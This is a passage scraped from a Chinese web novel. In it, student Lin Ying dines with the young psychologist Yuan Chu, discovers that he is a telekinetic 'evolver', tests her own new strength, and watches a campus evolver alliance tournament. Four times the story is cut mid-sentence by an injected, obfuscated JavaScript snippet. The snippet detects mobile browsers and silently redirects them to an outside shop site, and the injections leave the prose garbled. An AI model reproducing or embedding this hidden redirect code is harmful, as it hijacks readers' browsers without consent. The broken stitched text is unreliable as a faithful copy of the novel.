他们中间只隔了一张桌子,桌子中央,有一束开的正好的红玫瑰,原初不动声色,将玫瑰从中间拿走,放在了一边的茶水柜上。如此一来,只要一抬头,林萤的一举一动便能毫无遮拦地尽收眼底。 林萤选了一份主食,一份沙拉,而后将菜单推给原初,“我点好了。” 原初看了一眼,“就这些吗,不再添点?” 林萤还想推辞,原初直接拿过菜单,又仔细看了起来。 “医生,其实那天的事情对我没有特别大的影响,要不是接到你的电话,我几乎都要忘记了。我今天来,一是因为我总是做噩梦,睡醒以后却偏偏什么都不记得,但是我的身体有感觉,它非常疲惫,所以我想,自己应该是出现了睡眠障碍;二是因为我有些好奇你的职业,我从来没有看过心理医生……所以,不用再点了,如果让您太破费,我会有些过意不去。” 原初低头轻笑,修长的手指轻触“确定”键,一长串菜品出现在了已购页面。 “林同学,尽管放心,你不会把我吃破产的。如果觉得过意不去,就多吃一些,莫要辜负眼前的美食。” 林萤见对方丝毫不在意,便也不再坚持。 不多时,桌上便摆满了菜。 蒜蓉小龙虾、蒸螃蟹、秃黄油拌饭……全都是一些吃起来很费功夫的菜,同时也是林萤想吃了很久,但碍于价格,一直没有吃过的东西。 不愧是心理医生,点的很有水平,都是她爱吃的菜……想到这里,林萤坐直身体,一脸认真地询问:“医生,我问你,我这样坐着,你知道我的心里在想什么吗?” 原初哭笑不得,“我是心理医生,不是肚子里的蛔虫。” “好吧,我还以为心理医生真的能猜透我的想法呢……”林萤颇为遗憾。 原初说:“如果你真的想更了解自己内心深处的想法,可以试试催眠疗法。” “催眠?”林萤顿时来了兴趣,“听上去很有意思……我有段时间一直在做噩梦,偏偏梦醒之后什么都不记得,但是我的脑海深处似乎有一个声音,一直在提醒我梦中的内容很重要。催眠可以让我记起梦境吗?” “不确定,可以一试,但是不是现在。此时此刻,我只能判断出这些菜似乎没有点错,林萤,趁热吃吧。” 一阵暖风带来食物的香气,林萤鼻翼微动,食指大开,她放下手机戴上手套,开始跟面前这些壳状物较劲。美食下肚,她也逐渐放下戒备,和原初畅聊起来。 “你知道吗,其实动物也会记仇,尤其是进化后的动物,对了,你见过进化后的动物吗?” 原初点点头,他只吃了一点点蔬菜,其余时间都斜斜地靠在椅背上,笑眯眯地看林萤吃东西。 “你见过啊?我其实没见过……我只在屏幕上看过,那是一只进化的章鱼,我想你一定看到过它的新闻,毕竟它被通缉了很久却还是没有抓住。你看,软体动物进化后,都变得那样难对付。如果,我是说如果,像我们现在吃的龙虾螃蟹这一类 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17626957|205358||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' 带壳的动物也进化了,变得无比硕大,它们的外壳子弹都打不透,大钳子一夹,就能把碗口粗的钢筋夹断,那样的话,我们人类就完蛋了……” 林萤拿着一只蟹钳,模拟夹断钢管的场景,“要知道,椰子蟹蟹钳的夹力是人的咬合力的两倍多,如果它变大,夹力也会成倍增加,到时候一钳子一个。”林萤说着,突然觉得嘴里的蟹肉也不香了。 这时,原初突然坐直了身子,他将手轻轻搭在桌面上,上半身微微向林萤的方向倾斜。 “不要怕。” “嗯?” “林萤,不要怕。”他的声音不大不小,却清晰地传入林萤的耳朵里。 “我没有怕……”林萤说完,突然觉得有些欲盖弥彰,她急忙解释,“当然,说完全不怕也是不可能的。不过,比起怕,我更多的是担心,我担心人类受到伤害,也不忍心动物被伤害。也许,你会觉得我有些杞人忧天,但我不会改变自己的想法。” 原初只是静静地听着,并没有赞同或者反对,他慢条斯理戴上手套,剥了一只蟹钳放在盘子里,然后摘掉手套,将盘子轻轻推到了林萤的面前。 “你的意思我明白。不过,我想,这一点不要担心,人类进化已经发生了近三个星期,但是动物进化的例子却很少,这是因为很少有动物能进化成功,即使进化成功,它们也活不久。以蚂蚁为例,如果蚂蚁变大十倍,首先,它们的呼吸系统不能适应如此大的耗氧量,会因缺氧而窒息;其次,它的足部也不能承受身体上的沉重铠甲,会被自己的体重压垮,从而无法行走;最后,它们的身体无法散热,将被自身活活烤熟。所以,单纯的进化增大不足以使人惧怕。” “可万一,它的其他部位也进化了呢?”林萤放下蟹钳,“就算蚂蚁进化的成功率只有亿分之一,那么一亿只蚂蚁中,将会诞生一个超级蚁王,世界上总共有多少只蚂蚁,你知道吗?——2亿亿只!更不要说还有其他生物了。” 原初没有立即说话,而是挽起衬衫的衣袖,给林萤添了半杯冷饮,然后顺着她的话说道:“嗯,我想我懂你的担心了,林同学,你的担心不是多余的。” 林萤喝了一口,冰凉的口感让她方才有些激动的情绪逐渐平复下来。奇怪,自己并不是乐于输出观点的人,今天这是怎么了? 林萤看向面前的原初,他仍是那副游刃有余的状态,连发丝都服帖地垂在耳边,就像是精心打理过一般。他正拿着一只玻璃杯在给自己添饮料,露出的手腕正对着林萤,内侧的青筋在白皮的映衬下分外明显。 伴着液体流入玻璃杯的声音,原初的嗓音清润,他说:“但是,也不必过分担心对吗?林萤,你比我更知道生物链的存在,制衡,是大自然最擅长的事情。” “医生,你的话就像是说,有造物主一样。” 听到林萤的话,原初正在给自己添饮料的手顿了顿。 “那么,林萤,你相信有造物主吗?” 23. 你也是进化者? “我不知道。”林萤说:“其实我是泛神论——山有山神、海有海神、有太阳神有月亮神,猫神狗神山羊神,掌管钱财的有财神,掌管权的有禄神,甚至实验室的仪器也有仪器之神……如果你天天请我吃大餐,我也会将你奉为我的饭神。” “饭神?”这次原初是真真切切地笑了出来,“林萤,你真的很有趣。” “是吧?那你现在可以给我的心理健康检测单上面打个‘正常’了吗?” “抱歉哦,这个暂时不可以,保守估计还得再观察一段时间。” “为什么啊?” “于公来讲,你整个人处在一种极端的焦虑状态,也极力在压制这种不愉快的感觉,也许你自己并没有察觉到,但你的身体已经给了你警示,最明显的便是睡眠障碍,你眼下的黑眼圈比暗星云还要黑。所以,你需要进一步的治疗。”说着,原初的手指绕着自己的眼睛画了一圈,像是给自己画了一个熊猫眼。 林萤抿了抿唇,没有说话,她本想反驳说自己这两天睡眠质量还行,但是想到前一阵夜夜噩梦,便说不出口。 见状,原初轻轻挑眉,将一叠剥好的虾推到林萤面前,而后轻靠在椅背上,充满笑意地看向她,“于私。你很善于伪装,你并不是一个非常乐观和健谈的人,但是你刚才一直在试图给我这种感觉,我想,你本身应该是一个非常理智且细心的人。这样的你很有趣,我想再多观察一段时间。” “好吧,枉费我说了那么多。”林萤拿起盘中的虾,狠狠咬了一口,“其实我早就知道了,你一直在引导我说话,然后趁我说话的时候偷偷观察我分析我。” “哦?”原初笑了笑,“看来我学艺不精,被你发现了。” “你特意选吃饭的时候跟我聊,是因为吃饭的时候人最放松,一放松就容易把自己心里的真实想法说出来,不过,我发现你的计策不是因为这点,而是因为你一直在盯着我看,肯定是在观察我,或者……我的脸上是不是沾了什么东西?” 林萤说着,举起手机,借着屏幕的反光想要看看是不是自己吃相太差,把油渍沾在了脸上。 原初听到她的话,唇角微动想要解释,结果发现林萤并没有看他,这才换了个姿势重新坐好。 这时,林萤放下手机,重新看向对面的男人,“这样做很费钱,原医生,你会请每一个病人吃饭吗?” “那倒没有,你是第一个。” “何其荣幸,别人看医生都是要付钱的,我却反过来让医生破费……”林萤放下最后一只虾,环顾整个餐桌,发现自己无意识间竟然将这么一大桌的食物吃了个精光,而原初那边似乎仅仅只吃了一小碗饭,“我居然吃了这么多,原医生,真是不好意思……” “没事的,如果觉得不好意思,下次你可以请我吃。” “啊,好,好吧,下次我请你!” 对面的原初显得非常开心,“既然你诚心诚意邀请,择日不如撞日,就明天吧,中午还是晚上?” 林萤没想到自己就是客气一下,对方竟然答应了。 “额,那就……中午吧。” 一顿饭吃了近三个小时,林萤两人离开的时候,三楼的工作人员都快下班了。主要是因为原初点的菜吃起来很费功夫,加之菜又香,两人的话也密,不知不觉便吃得久了些。 已是深夜,月光只剩半个,暗星却很亮。 校园的小路上,路灯已经熄灭了,乘着走在树下阴影的时候,林萤将手放在了肚子中间。自从进化后,自己的胃就像是个无底洞,仿佛吃多少都能消化,刚才那一大桌几乎都进了自己的肚子,可是却丝毫没有饱腹感。 “怎么了?”原初突然问道。 林萤回答:“没事,我就是觉得,自己好像突然特别能吃……” 原初仿佛认真思索了一下,“的确是这样,我目测了一下,你的食量相当于三个成年男性,而且这还不是你的极限。” “诶?这么直白?你不应该说:没有没有,你吃的也不多。或者是能吃是福,多吃点长身体之类的吗?” 寂静的夜里,原初的笑声难以掩饰,“抱歉,那——能吃是福,多吃点!” “你这个人!” 两人正说笑着向前行,突然,林萤看到不远处似乎有一大团黑色的东西。 为了快点回到宿舍,他们特意挑了一条近道,这是一条需要穿过树林的小路,路的两边都是高大的树木,白日的时候,景色格外好,可到了夜里,被清凉的月光照着,林间的冷风吹着,黑的影,白的光,黑白交织,风声呼啸,倒显得有几分阴森。 “嘘,你看那个……” 那个黑色物体约半人高,下宽上窄,顶部呈椭圆形,像个立起来的柱子,更像个大号饭团,大喇喇拦在小路中间,气势分外霸道。林萤本以为那是个路障,可仔细看,那东西似乎在轻微地抖动。 “大黑狗?” 林萤和原初停下脚步,两人压低了声音,一个踮脚一个弯腰,自然凑得近了些。 “前段时间,学校怕动物进化后伤人,把校内所有的猫狗学长学姐们都送去了动物收容所,所以,那不可能是什么大黑狗。”原初在林萤耳边轻轻说道,轻柔的气息使得林萤耳根发痒。 林萤闻到一股清香,是原初身上的味道,她下意识嗅了嗅。 “不过,看着确实像个活物。” “过去看看?” “好,脚步轻一点。” 林萤又走进了些,她的双眼进化后比以往都看得清楚,但不论她怎么看,那就是个黑色的东西,上面似乎还有一层短短的绒毛。 近了,还有十步,他们就能走到那个东西跟前。 就在这时,林萤看到旁边的草丛里有一根木棍,她弯下腰,打算把木棍捡起来用它防身,可那木棍跟草缠在了一起,她刚要拿起时,窸窸窣窣的动静似乎惊到了前面那团黑色物体。 只见那原本还在规律抖动的黑色物体停了下来,然后缓缓地向右移动。 林萤忙停下动作,死死盯着前方。 猛然间,那黑色物体回过头,一张惨白的人脸出现在了月光下。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17636635|205358||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' “呀!” 林萤被吓了一跳,但她很快反应过来,一只手操起木棍,一只手抓住原初的衣袖,一边打一边向后退。 “什么东西?不要过来!” 黑影并没有移动,而是顶着那张白色人脸出其不意地冲林萤咧开了嘴。 “林萤!” 接着,就见那黑影抖了抖,伸出一条细细长长的胳膊,把身上的黑色遮罩拿了下来,然后站起身,缓缓走向林萤二人,露出了他的本来面目——是披着一条黑色长毛巾的薛言! “薛言?怎么是你!” 林萤站直了身体,紧接着扔掉手里的木棍,狐疑地打量着眼前的薛言,只见他穿着一身运动服,发根处有水光,“你大半夜不回宿舍,蹲在这里装神弄鬼?” “才不是,我在锻炼身体呢!刚才跑了好几公里,跑得又累又热,出了好多汗,我看路上没有人就坐在这休息一会儿,哪知道能碰见你?”薛言说着,看看林萤,又看看原初,目光在二人之间来打量,“大半夜你这是……在约会?” “咳咳咳……”还没等林萤否认,原初突然咳嗽了几声,而后缓过气来语重心长地说:“睡前不适合剧烈运动,会影响睡眠并且增加做噩梦的风险,所以,如果要锻炼身体,尽量选择在白天运动比较好。” 薛言拧着眉,“我也想啊,可是再不锻炼就来不及了。” 林萤觉得有些莫名其妙,“什么来不及了?” 薛言捞起毛巾一角,擦了擦头发,“你不知道吗?我们学校的进化者和附近高校的进化者,共同组建了一个进化者联盟,明天我们要选举联盟领袖,并且还要组织联盟队伍,去维护治安……啊,对了,你不知道也不怪你,这是内部消息,并没有公开。” “那你们不上学了?” “嗯!”薛言点点头,“你看,随着进化的发展,物理学已死,其他学科也没啥用了,还上什么学?” 原初扬了扬眉毛,“物理学已死?” “对啊!生物学也死了。不久的未来,我们会创造出一个新地球,而进化者将是这个高等文明的缔造者……”说到这里,薛言活动了一下手腕和脚腕,“林萤,你知道我的腿进化了,我现在不但跑步很快,跳得也很远,但是我的整体素质拉胯了些,还不能发挥出这双腿能力的十分之一……好了,我继续去锻炼了,争取成为联盟的小领导!林萤,到时候需要帮忙随时找我啊!” 说罢,薛言将毛巾往脖子上一搭,一边喊着口号一边朝远处跑去。 “一二、一二、一二……” 随着薛言的离开,四周又安静了下来,只有两道呼吸声,在深秋的夜间交织呼应。 林萤率先开口,打破了沉默,“走吧。” 她向前迈了一步,方才扔掉的木棍就挡在小路的边上,她正想弯腰将棍子捡起,就见原初抬起手臂,轻轻动了动手指,那躺在地上的木棍便凭空漂浮起来,随着原初手指的方向移动到草丛上方,而后,“吧嗒”一声落在了草里。 林萤转头看向原初,“你也是进化者?” 24. 能力初测试 原初没有直接承认,却也没有否认。 林萤想起自己刚才张牙舞爪的画面,顿时有些后悔,“你刚才应该直接告诉我,也就不用我拿着那根木棍装孙大圣了……” “抱歉,只是林大圣耍棍的样子格外帅气,并且第一时间保护了我,让我心生感动,实在不愿拂了你好的好意。” 林萤瞪了他一眼,自己刚才的样子跟“帅气”压根就不沾边,像动物园里耍棍的猩猩还差不多。 “不过……你进化后的能力真厉害,有点像隔空取物。”林萤说着,一边思索一边望向原初的侧脸。 “隔空取物吗?”原初忍俊不禁,“你描述的很贴切,确实是有点像。我也是刚进化,只知道自己能隔空操纵一些东西,现在关于进化的能力没有具体标准,厉不厉害我也不知道。” 说到这里,原初不再言语,似乎是不想在这方面谈太多。 林萤于是换了一个话题,“这件事,你怎么看?” “什么事?” “薛言……刚才那个人说的‘进化者联盟’。” “我没什么看法,非要说的话,我选择不参加。” “我不是说这个。”林萤站住脚,转头看向旁边的男人,“你是校医,起码也算半个老师,难道不应该说‘学生要以学习为主,不要搞那些有的没的……’之类的话吗?” “不,每个人都要为自己的选择负责。”原初耸耸肩,“而且,你知道现在有多少个像‘进化者联盟’一样的组织吗?光我知道的就不下三十个,什么‘进化会’、‘新能量’……比比皆是。就算我说了,也只是浪费口舌,大势所趋,我是一个随波逐流的人,水流向哪里,我飘向哪里,我是不会逆流而行的。” 说话间,已到了宿舍楼下。楼前有一棵老槐树,树叶大部分已脱落,树干却盘虬卧龙不减苍劲。 林萤在树下对原初说了再见。 “林萤,希望你晚上睡个好觉。” 林萤小跑到大楼的台阶上,而后回头看。 原初站在宿舍楼前,月光给他的俊美面容和挺拔身影披上了一层轻柔梦幻的薄纱,衬得他如同初临人间的精魅。 林萤朝他挥了挥手,那精魅露出了一个惑人的微笑。 “明天见。”他说。 回到宿舍,林萤径直去了阳台,在一堆纸箱中翻找片刻,终于找到了两个哑铃。 这是去年一位舍友健身的时候买的,买来一周后便压在了箱底,直到今晚被林萤翻出,才算重见了天日,不对!林萤看向头顶的月亮,应当是重见天月才对。 她试着举了举,5kg的重量如今对她来说太轻太轻,甚至说是感觉不到压力。 她又试着用力握住哑铃中间的短柄,猛然间,她将中间的杆子捏变了形,使得哑铃片差点砸了下来。她被自己的力量震惊到,为了防止意外,便将哑铃放在了地板上,然后用尽全力,握住厚厚的哑铃片,就见那哑铃片如同半干的橡皮泥般,一捏便变了形状。 林萤抬起手,看着自己的手心,如果没有估算错的话,她的握力增大了不止十倍。 难道是那些半进化核带给她的力量?林萤暗自猜测。 握力测试结束后,她又站在了宿舍中央,学着研究院大厨赵师傅那样,将意念全集中在自己的胳膊上,口中默念:“伸长——” 时间一份一秒过去,她的胳膊始终没有什么变化,林萤遂放弃。 接着,她又将一本书放在不远处的凳子上,模仿原初的模样试着用手召唤,一丝夜风从窗户缝里挤进来,吹动了书封,然而,风停后,书页也慢慢合上,再无变化。 林萤不信邪,将凳子移近了些,又将重的书换成轻的本子。 再然后,又将本子换成纸张。 片刻后,林萤撤了凳子,转而去测试自己的其他技能。 待东方泛起了鱼肚白,林萤才欣欣然躺在了床上。 经过一夜的测试,她对自己的能力有了大概的了解,尤其是最低限度的能力。 因为身处宿舍,地方太小难以施展,很多能力都仅局限于室内,如果到了户外,林萤相信自己一定能做的更好,比方说跑步、跳远等。 唐诗说过,进化也在进化,所以进化越晚的人,获得的能力似乎就越厉害。 林祐均大概属于第一批进化的人,他进化的是耳朵,进化后,他的听力虽然变好了,但是也不得不忍受其他杂音。而王二峰是后一批进化的人,他的能力便是更稀有的精神控制,对了,还有原初,他的能力也很强大。 想到这里,林萤有些羡慕后来的进化者,他们的能力不单局限在身体素质的增长上,而是向着超能力发展了,而自己…… 林萤呼了一口气,转念又一想,那句话是怎么说的——他人之所得,非吾之所失。放平心态,身体素质强大了也很厉害。 林萤很快将自己哄好,随后裹紧被子,进入了梦乡。 翌日,专业课,学生又比上次少了一大半。 林萤在稀稀拉拉的同学中看到了正在打哈欠的杜煦、将书竖在桌上偷吃早餐的马浩哲、以及一个看一眼黑板看一眼手机的男同学,田畅不在,想必是已经被家人接回去了。 偌大的教室里,居然只剩下四个学生。 虽然学生没几个,但张老师仍然认真上完了课。课毕,他合上书,告诉同学们学校现在宽出严进,想离校很容易,但是离校后想再回来,那就得费一番功夫了。 “我知道,最近有许多组织在招揽进化者,你们中也有一些人获得了进化能力,想要放弃继续深造去为那些组织服务。但我想,不论进化与否,知识都是必要的,可以说,在任何时候,知识都是必要的,尤其是当你越强大,你便更需要学习。在这样一个混乱的时代,我们需要灯塔,需要光,而知识可以成为我们的灯塔,成为我们的光。” 说到这里,张老师的目光扫过讲台下空着的那些座位,而后又看向仅剩的四个同学。 “人数太少,从下节课开始,我们的教学将会改为小班授课,我们的实验室就是我们的教室,同学们,我期待在实验室中,再见到你们!” 张老师说完,朝同学们深深鞠了一躬,而后捧着书本离开了。 林萤将课桌上的东西收进书包里,正要离开,杜煦跑了过来,“林萤!怎么样,那家蟹肉煲好吃吗?” 林萤点点头,背上书包和她一起走出教 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17642830|205358||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' 室,“好吃,肉很鲜,分量很大,我感觉两个人吃正好。” “听得我都要流口水了,那我们今天中午一起去吧!” 林萤正想答应,突然想起了和原初的约定,“啊,可是我今天中午约了人。” “谁啊?” “咱们学校的心理健康医生,叫做原初。” “原初?没听过,我记得心理医生是个胖胖的女老师,姓张,人可温柔了!” “咦,难道是换老师了?联系我的老师是个男的,而且很年轻。” 杜煦抬手将秀发拢到脑后,“估计是吧,那今天就不约了,等会我去问问我们寝室的徐佳妮去不去。” “嗯,好的,杜煦大人,好吃好喝!” 杜煦和同寝室的徐佳妮不是一个专业的,但是交情非常好,林萤也认识那个女生。 说话间,出了教学楼,二人在楼前分别,林萤径直朝食堂走去,杜煦则返回寝室。 原初早就在食堂门口等着林萤,他换了件黑色衬衣,外搭一件雾蓝色西装,双手插兜,随意地站在那里都是一道风景线。 林萤一眼便看见了人群中的原初,她挥挥手,小跑过去。就见原本有些漫不经心的原初立即站直了身子,双眼也染上了笑意。 “林同学,打算请我吃什么?先说好,不要用盒饭来敷衍我。” 林萤想了想,“你喜欢吃鸭血粉丝汤吗?我知道食堂二楼有一家不错。” “粉丝汤?不,我不太想吃。” “那冒菜呢?做冒菜的阿姨是川蜀人士,她做的冒菜香香辣辣,可好吃了!” “不,不要吃。” “凉拌猪耳吃不吃,还有卤猪肝,我知道有个窗口做的特别好。” “不,我不爱吃内脏。” “石板鱿鱼呢,再加碗石锅拌饭?” “不要。” “我看你就是想去三楼吃大餐!”林萤惊呼一声,而后捏了捏自己的校园卡,最终还是妥协了,“那就走吧,我请得起。” 然而,对面那位仍旧在摇头,“昨天刚吃了,今天想换个口味。” “你这个人可真挑!”林萤瞪了他一眼。 “反正是你请我,你得让我满意。”原初双手抱臂,一脸饶有兴趣地看着林萤。 “那……火锅行吗?那种一人一个的小火锅。” “火锅?”原初想了想,“大概能吃多久?” “大哥,你没吃过火锅吗?点锅、等汤底烧开、涮肉、涮菜……我平时为了省时间几乎不吃的!” “那就火锅,走吧!” 说罢,原初便朝食堂走去,刚走两步,突然站住了脚,林萤跟在他的身后,还好反应够快,没一头撞在他的背上。 “又怎么了,我的哥?” 原初转过头来,露出一个尴尬的笑容。 “我不知道你说的那家火锅在哪里,还是由你来带路吧!” 林萤长叹一口气,“好的,小的遵命!” 结果,因为林萤也没去吃过,只知道一个大概位置,按她的指引走过去,发现那是个卖水果的窗口。林萤大囧,只得边问边找,等吃上火锅,已经是十分钟之后的事情了。 25. 进化者之战 “真不好意思,浪费你的时间了。” 原初心情倒好,“没事,正好锻炼身体了。” 小火锅在餐厅的二楼,这里并不是独立的包间,而是公用的学生餐厅,有三分之一个足球场那么大,除了林萤两人,还有许多其他就餐的学生。 原初一出现,便吸引了不少人的目光,他本人似乎已经习惯了被人注视,并不在意这些打量,只是这些打量多多少少会分到林萤身上,使得她感觉有些别扭。 “去那边坐,视野开阔。”原初抬起手,指向一个靠窗的角落,那里正好在走廊的尽头,一边临着窗,一边靠着墙,人比较少,也相对安静一些。 林萤看了一眼,点头同意,“那你先过去等我,我去点锅。” 说罢,她转过身去买饭,等她回来的时候,附近来新了一大帮带着黑帽子的学生,他们衣着不一,有男有女,但似乎是一起行动的,午餐也全部点了盒饭。 “要换个位置吗?”林萤问道。 一向挑剔的原初倒是摇了摇头,“不换了,反正他们很快就吃完了。” “好嘞!” 林萤在原初对面坐下,一开始,她并没有在意那些黑帽子学生,直到她听到其中有人提到了“联盟”,“首领”之类的词。表面上,林萤仍然低着头吃饭,可她已经悄然竖起了耳朵。 原来这帮学生就是薛言所说的“进化者联盟”的成员,今天他们将举行第一轮比试,先选出几名云栖大学的代表,然后派这些代表去和其他学校选出的人进行比赛,优中择优,最终选出首领。当然,今天选出的代表也将成为小队长,以后专门负责管理云栖大学这边的成员。 他们的比试将于下午两点开始,地点就在学校的操场。 林萤看了眼时间,然后加快了吃饭速度。 “林同学……” 对面的原初突然唤了她一声。 林萤回过神来,抬头看向他,但见他正双手抱臂,气鼓鼓地瞪着自己。 “怎……怎么了?” “你不专心!”原初控诉道:“我叫了你好几声,你都没有答应,你根本就没有在听我说话。” 林萤心想“是的是的、没错没错”,但她不敢表现出来,那样只怕眼前的人会更加生气。 原初继续板着脸,“你和我在一起的时候,要专心一些,好吗?” “啊?”林萤惊讶地看向他,“这点也跟我的心理健康有关系吗……?” 眼见原初的脸色越来越黑,林萤忙解释了一番,她将那些黑帽子成员的话告诉了原初。 “他们等下要去比试,你想不想去看?” “你感兴趣?” “当然了。” “那就一起去吧!”原初说完,似乎心情好了一些,又开始涮菜。 “你不生气了?”林萤试探地询问。 “嗯,不生气了,我又不是无理取闹的人,你只要解释清楚,我都理解的。”原初说着,有些骄傲地看了林萤一眼,似乎是想让对方夸他。 林萤噎了一下,她忙喝了一口水。 “原医生?” “嗯?” “你是不是很早以前就认识我?” “哈?咳咳咳……” 这次换原初需要喝水了,他白皙的脸顿时泛起了粉色,呛出的泪水沾在睫毛上,使得一双眼湿漉漉的。 林萤忙递上一杯水,“不说了,我不说了,咱们快吃吧,吃完去看那个比试!” 两人踩着点到了操场,顿时被黑压压的一片人震惊到了。 这还是复课以来林萤第一次在操场上看到这么多学生,而且他们都戴着黑色的帽子,这大概就是“联盟”的标志,而这种统一的穿戴也让这群人显得格外有气势。 除了黑帽子的学生,操场上也挤满了其他人,看样子都和林萤两人一样,是来看热闹的。 “抓紧。”原初差点被人群挤开,林萤一把拉住了他,将自己衣服一角塞进他的手中。 两人左挤挤右挤挤,最终来到了看台边上一个空着的高地,这里距离比试场地不远不近,视野佳,也不用挤在人堆里,算是一个不错的观察地。 林萤站在高地上仔细看去。 那些联盟成员大概有八十几人,先是两两比试,胜的人进入下一轮,如此循环。 “每个人进化的部位不一样,能力也不一样,他们怎么保证比赛公平呢?”原初皱着眉,看着场中那些黑帽子。 林萤解释道:“他们的比赛也不是冲着公平去的,这场比赛主要是为了选出首领,第一个条件便要求体能过关。不过他们也设置了异能组,比方说将听力进化的人放在一起,将视力进化的人放在一起,让他们比试比试……这些人虽然不会成为首领,但也将是联盟里的重要成员。” “原来如此。” “这是刚刚那个裁判说的,他们联盟奉行人人平等的政策,设立领袖只是为了方便统一行动,比如说去维护治安什么的。” “听上去挺像那么回事……”原初轻轻笑了笑。 “是的,但是真正实行起来往往困难重重。”林萤说完,又重新将目光投向场中央。 八十、四十、二十、十…… 不多时,偌大的场地中央便只剩下五个人,其中一个人看上去分外熟悉,可不就是薛言嘛!没想到他真的能杀出重围,在一帮人中成为前几名。 “是他呀,昨晚的小兄弟……” 原初也认出来了,原本他微微斜着身子靠在一旁的栏杆上,看见薛言后,仿佛瞬间来了兴趣,站直了身体,同林萤一样伸长脖子朝前看去。 就见场地中央的裁判拿着几张纸条让那五人抽取,然后其中四人两两成对,余下一人往旁边站了站,腾出了场地。 “五个比赛人的话,必然有一个人轮空,这个人不用比试,就可以进入前三名,同样,前三名也将有一个人轮空,直接进入前两名。”林萤向原初解释。 原初轻“嗯”一声,接着缓缓开口,“毕竟运气也是实力的一部分。” 这一回合,轮空的人正是薛言,他似乎很开心,站在一旁手舞足蹈。 “滴——”一声哨响,场地中间的两队同时开始比试。 靠近西边的两个男生一高一矮,高的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17649140|205358||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' 壮,矮的瘦,怎么看,都是高的那个人更有优势,一开始也的确是这样。 高的那个人率先出拳,砸在了矮个的腹部,将他打得向后退了数十步,随后,高个的乘胜追击,将矮个压倒在地,拳拳到肉,几乎每一下都咬着牙用尽全力,矮个像是被打蒙了,躺在地上如一块抹布一样一动不动。然而,就在裁判即将判定矮个失败时,矮个却突然一个倒勾脚,将高个别倒在地,然后扒着高个的头发骑了上去,一用力,撕掉了高个的一块头皮。 人群惊呼起来,就见矮个面部有不少受伤的地方,那些伤口正在快速地恢复,很快,便面色如常,仿佛刚才那些拳脚不是砸在他的脸上,而是砸在了棉花上。 林萤紧张地握紧了拳头。 如果没猜错,那个高个的进化能力是瞬间爆发,所以他的前期力量很大,越往后,下手越轻。而那个矮个的能力则是自动修复,不论受多重的伤,他都能在第一时间愈合,所以尽管挨了很重的打,他仍然有足够的后劲来逆风翻盘。 ——进化竟然已经进化到了这种地步。 随着哨音的响起,矮个获胜。 而另一边,场地东边的两人,还在酣战中。 这两人都是女生,一个长马尾,一个齐耳发。 长马尾正在对齐耳发发动攻击,但是她的每一次攻击都落在了空气上,只因齐耳发的身子就像牛皮糖一样软,每次都恰好能躲掉长马尾的攻击。长马尾累得气喘吁吁,却始终碰连齐耳发的衣角都碰不到,就目前看来,齐耳发似乎占据了优势地位。 几分钟后,长马尾索性放弃攻击,站住脚步对齐耳发喊话。 “喂!你能不能堂堂正正和我打,别老像个缩头乌龟一样躲来躲去?” “我就在堂堂正正应战,肢体软化——就是我的能力,难道你要禁止我使用进化能力?”齐耳发轻蔑一笑,两只手臂交缠在一起,拧成麻花状,从两边的手肘处恰好露出了一左一右两根中指,嘲讽意味甚浓,“喂,我说,你就尽早放弃吧,我有的是耐心消耗你!” 长马尾的目光一暗,她抬起手擦了擦额边的汗水,随后,手伸到脑后,将马尾上的皮筋取下,散开了一头青丝。 “那,你就别怪我了!” 长马尾说罢,抬眸紧盯齐耳发,而她的脑后,那一头原本顺滑的青丝,竟然无风自动,全都漂浮了起来,就像是触手一般游走在她的脑后,并且在不断变长。 “美杜莎?!” 人群惊呼。 随着长马尾的一声怒喝,就见她的头发黑蛇一般冲向齐刘海,每一根都像有意识一样追踪着对方的身影。齐刘海大骇,扭着身子来回躲避,却一个不慎被一根头发缠住了手指,瞬间,所有的黑发都像绳索一样捆了上来,并且不断收紧,将齐刘海的身体几乎要捏成藕节。 “救命!我认输,咳咳……” 最终,齐刘海认输,长马尾获胜。 